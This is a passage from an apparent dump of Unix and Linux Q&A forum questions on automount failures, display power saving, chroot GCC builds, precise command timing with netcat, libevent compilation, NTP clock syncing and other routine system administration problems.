automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:18:01 laptop automount[1250]: attempting to mount entry /mnt/.hidden Oct 19 00:18:01 laptop automount[1250]: lookup(program): lookup for .hidden failed Oct 19 00:18:01 laptop automount[1250]: failed to mount /mnt/.hidden Oct 19 00:18:03 laptop automount[1250]: attempting to mount entry /mnt/.hidden Oct 19 00:18:03 laptop automount[1250]: failed to mount /mnt/.hidden Oct 19 00:18:03 laptop automount[1250]: attempting to mount entry /mnt/.hidden Oct 19 00:18:03 laptop automount[1250]: failed to mount /mnt/.hidden Oct 19 00:18:24 laptop automount[1250]: attempting to mount entry /mnt/.hidden Oct 19 00:18:24 laptop automount[1250]: failed to mount /mnt/.hidden Oct 19 00:21:57 laptop automount[1250]: umount_autofs_indirect: ask umount returned busy /mnt Oct 19 00:21:59 laptop automount[1250]: shut down path /mnt Oct 19 00:21:59 laptop automount[3436]: mounted indirect on /mnt with timeout 30, freq 8 seconds Oct 19 00:21:59 laptop automount[3436]: ghosting enabled I already checked the UID and GID and they match my user. SSH keys for my user are in place. I also tried to create `/mnt/mymount` manually but strangely it returns \"permissions denied\" even as root as long as autofs is running (guess it should be this way). Any ideas what might be wrong? There must by a configuration step I forgot which I did before."} {"_id": "52263", "title": "How can I put my HDMI display into (and out of) power save mode?", "text": "I am using a Raspberry Pi to run an information display in an office. I want the display in power save mode when outside of business hours. I was going to use `cron` to execute something at the beginning and end of the day, but `xset dpms force off` doesn't work. I have disabled the screen saver (so the display stays on during the day) with the addition of `xset s off`, `xset -dpms` and `xset s noblank` in the `/etc/xdg/lxsession/LXDE/autostart` file. Here are the results from `xset q`: Keyboard Control: auto repeat: on key click percent: 0 LED mask: 00000000 XKB indicators: 00: Caps Lock: off 01: Num Lock: off 02: Scroll Lock: off 03: Compose: off 04: Kana: off 05: Sleep: off 06: Suspend: off 07: Mute: off 08: Misc: off 09: Mail: off 10: Charging: off 11: Shift Lock: off 12: Group 2: off 13: Mouse Keys: off auto repeat delay: 500 repeat rate: 33 auto repeating keys: 00ffffffdffffbbf fadfffefffedffff 9fffffffffffffff fff7ffffffffffff bell percent: 0 bell pitch: 400 bell duration: 100 Pointer Control: acceleration: 20/10 threshold: 10 Screen Saver: prefer blanking: no allow exposures: yes timeout: 0 cycle: 600 Colors: default colormap: 0x20 BlackPixel: 0x0 WhitePixel: 0xffff Font Path: built-ins DPMS (Energy Star): Standby: 600 Suspend: 600 Off: 600 DPMS is Disabled **UPDATE:**`xset s blank && xset +dpms && xset dpms force off` will blank the display, but it doesn't put it in power save mode. After reading a lot of threads, I still can't get the system time correct either (I think that may be a firewall issue)..."} {"_id": "43180", "title": "Where does gnome-session/gnome-shell store its configuration?", "text": "Long story short; I have a debian system that's been running the `unstable` tree for over a decade straight (through fire, flames, and multiple hardware upgrades, but that aside). However, a while ago while Debian was transitioning to gnome3 and the `gnome-shell` desktop there were a couple of hitches in the process, and one or another of those left my regular user with an unusable configuration -- `gnome-shell` starts up and immediately crashes. I tried setting up a completely blank new user, and everything runs fine for that one, so it's definitely an issue with a setting local to my main user somewhere... It's just that I have no idea where to start looking, and I don't want to blanket erase all configuration files because I kind of need the vast majority of them. So instead I'm looking to surgically remove all the configuration files and/or options that pertain to `gnome-shell` and let it rebuild them from scratch when I start it, then work from there. **EDIT** : My bad, slight naming fail. The problem seems to be in `gnome- shell` rather than `gnome-session`."} {"_id": "43182", "title": "Building GCC inside a chroot from source", "text": "In a previous question I asked about creating a chroot that simulates my embedded device environment. It was suggested that I build from source GCC and binutils first inside my chroot. To attempt this I copied the version of libc and gcc binary on my host machine to the chroot. I then wrote a simple hello world program to a file test.c and tried to build in my chroot as follows phil@phil-desktop:/usr$ sudo chroot /usr/embedded_chroot1/ bash-4.2# gcc test.c gcc: error trying to exec 'cc1': execvp: No such file or directory I am not too sure what is going on here with this error. I have copied the gcc binary and libc to my chroot so why am I unable to compile? Must I copy all system source and header files into my chroot also?? I think I have a conceptual misunderstanding with the whole process of using a chroot."} {"_id": "43185", "title": "Run unix command precisely at very short intervals WITHOUT accumulating time lag over time", "text": "# Question I'd like to be able to run a UNIX command **precisely** every second **over a long time period**. I need a solution, which does not lag behind after a certain time, because of the time the command itself needs for execution. _sleep_ , _watch_ , and a certain _python script_ all failed me in this regard. On the microcontroller's such as the http://Arduino.cc I'd do that through hardware clock interrupts. I'd like to know whether there is a similar time- precise shell script solution. All the solutions which I found within StackExchange.com, resulted in a noticeable time lag, if run over hours. See details below. # Practical purpose / application I want to test wether my network connection is continuously up by sending timestamps via `nc` (netcat) every 1 second. Sender: precise-timestamp-generator | tee netcat-sender.txt | nc $receiver $port Receiver: nc -l -p $port > netcat-receiver.txt After completion, compare the two logs: diff netcat-sender.txt netcat-receiver.txt The diffs would be the untransmitted timestamps. From this I would know at what time my LAN / WAN / ISP makes troubles. * * * # Solution SLEEP while [ true ]; do date \"+%Y-%m-%d %H:%M:%S\" ; sleep 1; done | tee timelog-sleep.txt Gets a certain offset over time, as the command within the loop also takes a little time. ## Precision cat timelog-sleep.txt 2012-07-16 00:45:16 [...] 2012-07-16 10:20:36 Seconds elapsed: 34520 wc -l timelog-sleep.txt Lines in file: 34243 Precision summarized: * 34520-34243 = 277 timing problems * 34520/34243 = 1.008 = 0.8 % off # Solution REPEAT PYTHON Found at: Repeat a unix command every x seconds forever repeat.py 1 \"date '+%Y-%m-%d %H:%M:%S'\" >> timelog-repeat-py.txt Supposed to avoid the time offset, but fails to do so. ## Precision wc -l timelog-repeat-py.txt 2012-07-16 13:42:44 [...] 2012-07-16 16:45:24 Seconds elapsed: 10960 wc -l timelog-repeat-py.txt Lines in file: 10859 Precision summarized: * 10960-10859 = 101 timing problems * 10960/10859 = 1.009 = 0.9 % off # Solution WATCH watch -n 1 \"date '+%Y-%m-%d %H:%M:%S' >> ~/Desktop/timelog-watch.txt\" ## Precision wc -l timelog-watch.txt 2012-07-16 11:04:08 [...] 2012-07-16 13:25:47 Seconds elapsed: 8499 wc -l timelog-watch.txt Lines in file: 8366 Precision summarized: * 8499-8366 = 133 timing problems. * 8499/8366 = 1.016 = 1.6 % off."} {"_id": "43184", "title": "How to capitalize word (i.e. first letter to upper) in KornShell", "text": "Is there a builtin way in KornShell to capitalize a word, e.g. `korn` -> `Korn`? A Bash 4 example to clarify: str='korn' echo \"${str^}\" If there is not a bultin way to do this in KornShell, what is the most concise and efficient way to write a function that will do it?"} {"_id": "43187", "title": "How do I get a list of shared library filenames under Linux?", "text": "Is there a GNU Linux built-in for getting a list of the filenames of shared libraries? I have considered parsing the output of `ldconfig -p`. However, I'm not sure about consistency in output from system to system. I am already aware that I could use `find` but given that the linker / loader has a cache of libraries and locations, it seems more efficient to use it in some way. Additionally, the paths that the linker / loader searches are the only ones I'm concerned with--i.e libraries that have been processed by `ldconfig`."} {"_id": "60353", "title": "How to backup virtual drives with PlayOnLinux?", "text": "PlayOnLinux installs the applications in separate virtual drives. Each virtual drive represents a different windows machine. I have configured PlayOnLinux on my laptop and installed several programs in it. These programs go in the hidden `.PlayOnLinux` directory in `home`. My `.PlayOnLinux` directory is about 12 GB in size. Along with virtual drives it also contains resources that PlayOnLinux downloads from internet such as Windows Service Pack and alternate versions of Wine. Not wanting to download/install everything again I copied the `.PlayOnLinux` directory to my second computer before running PlayOnLinux. However on startup PlayOnLinux initialized that directory to its own taste, flattening the 12GB directory to a mere 500 Kilobytes. My question is - **Is it possible to backup PlayOnLinux virtual drives? How?** This would be tremendously helpful in taking snapshots of drives for reverting later and for transferring settings to another system."} {"_id": "60352", "title": "Why do I get this 'Erase is backspace' message after I do a reset in xterm?", "text": "So when I do a reset in xterm I get something like this: > Erase is backspace. > [omarg@computer]: I've already checked my `.bashrc` and `.Xdefaults` files but it doesn't seem like that message is being invoked from there. Notes: * When I do a reset in a TTY I don't get that message. * Arch Linux user."} {"_id": "60357", "title": "How to upgrade Local Server with Local Upgrade Server", "text": "This is the case We have One Upgrade Server and it is connected to Redhat Network and it downloads all the updates. Means it is fully up to date. What I need is that I need to connect the client Servers to connect with this server (Manually , by using YUM UPGRADE command)and download and install all the updates from this Local Upgrade Server. What are the steps required to get this job done."} {"_id": "65651", "title": "Kernel headers for VMware tools", "text": "I tried to compile VMware tools on my server. I compiled the kernel myself, I didn't use RPM. As VMware tools needs the kernel header files, I executed the following command in my kernel folder source: make headers_install INSTALL_HDR_PATH=/tmp/header/ All files are exported to `/tmp/header/include/`. When I start the `vmware- config-tools.pl` and I specify the folder `/tmp/header/`, VMware tools says: > The path \"/tmp/header/include/\" is not a valid path to the 3.3.0 kernel What is wrong here? * * * **Edit** : I'm running RHEL 6, kernel 3.3, trying to compile VMware tools for ESXi 4.1 & 5"} {"_id": "65650", "title": "Unable to install libevent without admin priviledges", "text": "I just downloaded libevent-2.0.21-stable, which I am hoping to compile so that I can use `tmux`. However, when I run: ./configure --prefix=/path/to/libevent-2.0.21-stable/ make make install everything seems to work well until the last few lines, where I get the following error: ... make[3]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable' make[2]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable' Making install in include make[2]: Entering directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/include' make[3]: Entering directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/include' make[3]: Nothing to be done for `install-exec-am'. /bin/mkdir -p '/d4m/vid/bin/utils/libevent-2.0.21-stable/include' /bin/mkdir -p '/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2' /usr/bin/install -c -m 644 event2/buffer.h event2/buffer_compat.h event2/bufferevent.h event2/bufferevent_compat.h event2/bufferevent_ssl.h event2/buffereve nt_struct.h event2/dns.h event2/dns_compat.h event2/dns_struct.h event2/event.h event2/event_compat.h event2/event_struct.h event2/http.h event2/http_compat.h event2/http_struct.h event2/keyvalq_struct.h event2/listener.h event2/rpc.h event2/rpc_compat.h event2/rpc_struct.h event2/tag.h event2/tag_compat.h event2/t hread.h event2/util.h '/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2' /usr/bin/install: `event2/buffer.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/buffer.h' are the same file /usr/bin/install: `event2/buffer_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/buffer_compat.h' are the same file /usr/bin/install: `event2/bufferevent.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/bufferevent.h' are the same file /usr/bin/install: `event2/bufferevent_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/bufferevent_compat.h' are the same file /usr/bin/install: `event2/bufferevent_ssl.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/bufferevent_ssl.h' are the same file /usr/bin/install: `event2/bufferevent_struct.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/bufferevent_struct.h' are the same file /usr/bin/install: `event2/dns.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/dns.h' are the same file /usr/bin/install: `event2/dns_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/dns_compat.h' are the same file /usr/bin/install: `event2/dns_struct.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/dns_struct.h' are the same file /usr/bin/install: `event2/event.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/event.h' are the same file /usr/bin/install: `event2/event_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/event_compat.h' are the same file /usr/bin/install: `event2/event_struct.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/event_struct.h' are the same file /usr/bin/install: `event2/http.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/http.h' are the same file /usr/bin/install: `event2/http_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/http_compat.h' are the same file /usr/bin/install: `event2/http_struct.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/http_struct.h' are the same file /usr/bin/install: `event2/keyvalq_struct.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/keyvalq_struct.h' are the same file /usr/bin/install: `event2/listener.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/listener.h' are the same file /usr/bin/install: `event2/rpc.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/rpc.h' are the same file /usr/bin/install: `event2/rpc_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/rpc_compat.h' are the same file /usr/bin/install: `event2/rpc_struct.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/rpc_struct.h' are the same file /usr/bin/install: `event2/tag.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/tag.h' are the same file /usr/bin/install: `event2/tag_compat.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/tag_compat.h' are the same file /usr/bin/install: `event2/thread.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/thread.h' are the same file /usr/bin/install: `event2/util.h' and `/d4m/vid/bin/utils/libevent-2.0.21-stable/include/event2/util.h' are the same file make[3]: *** [install-nobase_includeHEADERS] Error 1 make[3]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/include' make[2]: *** [install-am] Error 2 make[2]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/include' make[1]: *** [install-recursive] Error 1 make[1]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable' make: *** [install] Error 2 make install 6.15s user 8.22s system 86% cpu 16.622 total Running `make verify` also returns the following error: EPOLL test-eof: OKAY test-weof: OKAY test-time: OKAY test-changelist: OKAY regress: OKAY EPOLL (changelist) test-eof: OKAY test-weof: OKAY test-time: OKAY test-changelist: OKAY regress: FAIL regress.c:717: assert(abs(timeval_msec_diff(((&start)), ((&res.tvs[2]))) - (500)) <= 50): 145 vs 50main/persistent_active_timeout: [persistent_active_timeout FAILED] 1/179 TESTS FAILED. (0 skipped) FAILED DEVPOLL Skipping test POLL test-eof: OKAY test-weof: OKAY test-time: OKAY test-changelist: OKAY regress: OKAY SELECT test-eof: OKAY test-weof: OKAY test-time: OKAY test-changelist: OKAY regress: OKAY WIN32 Skipping test FAIL: ../test/test.sh ================== 1 of 1 test failed ================== make[4]: *** [check-TESTS] Error 1 make[4]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/test' make[3]: *** [check-am] Error 2 make[3]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/test' make[2]: *** [check] Error 2 make[2]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable/test' make[1]: *** [check-recursive] Error 1 make[1]: Leaving directory `/nfs/titan7/u11/vid/bin/utils/libevent-2.0.21-stable' make: *** [check] Error 2 make verify 22.71s user 24.82s system 16% cpu 4:41.78 total I am stuck at this point. Why do the compilation and verification fail?"} {"_id": "87587", "title": "Installing proprietary ethernet drivers in Fedora", "text": "I have an HP HDX16-1354CA Laptop that I've installed Fedora 19 on, and my ethernet port is not being detected. I am sure that it is because I have not installed the drivers for it, but I can't seem to find any proprietary ethernet drivers for linux anywhere. Is there some way to search for all proprietary drivers that match your system, like Ubuntu does with the \"Additional Drivers\" option? The windows equivalent to the driver that I need is the Realtek PCI-E Fast Ethernet NIC Driver."} {"_id": "150551", "title": "Apt-Get No installation candidate. Can't install anything", "text": "So, I am running a MineOS Linux, which is based on Debian turnkey, and the installation was around 250 MB, so probably not all of the commands that come with Linux were installed. I use this to run my minecraft server, and I have a noip account to make a static IP to redirect it my IP. I am going away now for 7 days, and I have a dynamic IP. Normally, I change it manually on the noip account, but now I won't be able to. The noip company has a software called Dynamic Update Client, which is installed and manually changes your ip on your account. So, I need to install that on my server. But here is the problem, in order to install, I need to do it with the `make` command, and that command is not found. I spent a lot of time searching on how to fix it, tried to add URLs to my `/etc/apt/sources.list` file, running `apt- get` commands like: `install make`, `upgrade`, `update`, `install build- essential` etc. but to no avail. I still can't get to install `make`, because on everything I tried to install using `apt-get`, it keeps saying, \"not found\" or \"obsoleted\", \"No install candidate\". So what is the problem with this?"} {"_id": "87581", "title": "CONFIG_RTC_SYSTOHC: how to use the NTP synchronization option in the kernel", "text": "I have noticed in kernel 3.10, there is an option `CONFIG_RTC_SYSTOHC` Device Drivers -> RTC -> Set the RTC time based on NTP synchronization The help says: If you say yes here, the system time (wall clock) will be stored in the RTC specified by RTC_HCTOSYS_DEVICE approximately every 11 minutes if userspace reports synchronized NTP status. I don't understand how I can make use of this function. Does it mean, I don't need any userspace tools anymore (`ntpdate`) to synchronize time ? How is this different from using `ntpdate` ? Where do I specify the ntp server to be used? Could somebody please clarify ?"} {"_id": "65654", "title": "What is sources.list?", "text": "I know `sources.list` is a file that contains a list of HTTP links pointing to some software downloads. I would like to know more detailed explanations and various conventions followed in the `sources.list` file."} {"_id": "150554", "title": "Multiple daemons init script", "text": "I have two daemons currently running on my development server (OpenSUSE 12). There are two daemon that work together as a whole and must start together and die together. 1. Is there a standard way to accomplish such a thing with init scripts ? 2. Should I create an init script for each one of them, or should they be in the same script ? 3. Is there some kind of service that can check if both the daemons are running and if one is not restart both of them ?"} {"_id": "65659", "title": "How to add NFS options flag to anaconda?", "text": "These options work for Kickstart to load the install tree from NFS: The Fedora Kickstart documentation states nfs --server=nfsserver.example.com --dir=/tmp/install-tree --opts=\"username=u1,password=p1\" The RedHat6 documentation install guide does not mention the options flag but they are mentioned in the Fedora guide: ks=nfs[:options]:: How to add nfs options parameter to Anaconda in RHEL6.x?"} {"_id": "150559", "title": "iptables routing", "text": "I believe this question has been answered a 100 times before, but I'm almost sure that I'm searching into the wrong direction. My desired setup is the following: I have a virtual host using KVM and libvirt. I have a simple 192.168.1.0/24 home network, which I would like to extend by a server network. I will use 192.168.12.0/24 for the new network. But since there will be a few servers still running in the normal network, I added a virtual network to libvirt. Basicly I would like to route between br0(which is a bridge to eth0) and virbr0(which is the virtual network interface).I have tried to route 